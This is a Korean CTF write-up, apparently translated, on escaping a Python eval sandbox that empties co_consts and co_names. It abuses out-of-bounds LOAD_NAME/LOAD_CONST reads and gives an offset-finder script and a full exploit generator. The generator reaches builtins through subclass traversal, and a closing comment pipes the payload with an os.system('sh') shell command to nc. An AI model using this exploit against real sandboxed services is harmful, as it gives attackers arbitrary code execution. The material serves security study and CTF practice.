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LOAD_NAME / LOAD_CONST opcode OOB Read

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이 정보는 이 글에서 가져왔습니다.

TL;DR

LOAD_NAME / LOAD_CONST opcode의 OOB read 기능을 사용하여 메모리에서 일부 심볼을 가져올 수 있습니다. 이는 (a, b, c, ... 수백 개의 심볼 ..., __getattribute__) if [] else [].__getattribute__(...)와 같은 트릭을 사용하여 원하는 심볼(예: 함수 이름)을 가져올 수 있음을 의미합니다.

그런 다음 exploit을 작성하면 됩니다.

개요

소스 코드는 매우 짧으며, 단 4줄만 포함되어 있습니다!

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

임의의 Python 코드를 입력할 수 있으며, 이는 Python 코드 객체로 컴파일됩니다. 그러나 해당 코드 객체의 co_consts와 co_names는 eval하기 전에 빈 튜플로 대체됩니다.

따라서 이 방식으로 상수(예: 숫자, 문자열 등) 또는 이름(예: 변수, 함수)을 포함하는 모든 표현식은 최종적으로 segmentation fault를 발생시킬 수 있습니다.

경계를 벗어난 읽기

segfault는 어떻게 발생하나요?

간단한 예제로 시작해보겠습니다. [a, b, c]는 다음과 같은 바이트 코드로 컴파일될 수 있습니다.

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

하지만 co_names이 빈 튜플이 되는 경우는 어떻게 될까요? LOAD_NAME 2 옵코드는 여전히 실행되고, 원래 그 메모리 주소에서 값을 읽으려고 시도합니다. 네, 이것은 out-of-bound read "기능"입니다.

해결책에 대한 핵심 개념은 간단합니다. CPython에서 LOAD_NAME 및 LOAD_CONST와 같은 일부 옵코드는 OOB read에 취약합니다.

이들은 consts 또는 names 튜플에서 인덱스 oparg의 객체를 검색합니다 (co_consts 및 co_names가 내부적으로 지칭하는 것입니다). CPython이 LOAD_CONST 옵코드를 처리할 때 무엇을 수행하는지 알아보기 위해 다음 짧은 코드 조각을 참조할 수 있습니다.

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

이 방법을 사용하여 OOB 기능을 사용하여 임의의 메모리 오프셋에서 "name"을 가져올 수 있습니다. 어떤 이름을 가지고 있는지와 오프셋이 무엇인지 확인하려면 LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ...을 계속 시도하면 됩니다. 그리고 약 oparg > 700 정도에서 무언가를 찾을 수 있을 것입니다. 물론 gdb를 사용하여 메모리 레이아웃을 살펴볼 수도 있지만, 더 쉬울 것 같지는 않습니다.

Exploit 생성

이름 / 상수에 대한 유용한 오프셋을 검색한 후에는 해당 오프셋에서 이름 / 상수를 가져와 사용하는 방법은 어떻게 해야 할까요? 여기에 팁이 있습니다: co_names=()와 함께 LOAD_NAME 5에서 __getattribute__ 이름을 가져올 수 있다고 가정해 봅시다. 그럼 다음과 같은 작업을 수행하면 됩니다:

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

주목할 점은 __getattribute__로 이름을 지정할 필요가 없다는 것입니다. 더 짧거나 더 이상한 이름으로 지정할 수도 있습니다.

바이트 코드를 확인하면 그 이유를 이해할 수 있습니다:

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

LOAD_ATTR는 co_names에서도 이름을 가져옵니다. Python은 이름이 동일한 경우 동일한 오프셋에서 이름을 로드합니다. 따라서 두 번째 __getattribute__는 여전히 offset=5에서 로드됩니다. 이 기능을 사용하여 이름이 메모리 근처에 있으면 임의의 이름을 사용할 수 있습니다.

숫자를 생성하는 것은 간단해야합니다:

  • 0: not [[]]

  • 1: not []

  • 2: (not []) + (not [])

  • ...

Exploit Script

길이 제한 때문에 상수를 사용하지 않았습니다.

먼저 여기에는 이름의 오프셋을 찾기 위한 스크립트가 있습니다.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

그리고 다음은 실제 Python 악용을 생성하기 위한 것입니다.

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

기본적으로 다음과 같은 작업을 수행합니다. __dir__ 메서드에서 얻은 문자열에 대해 다음 작업을 수행합니다:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
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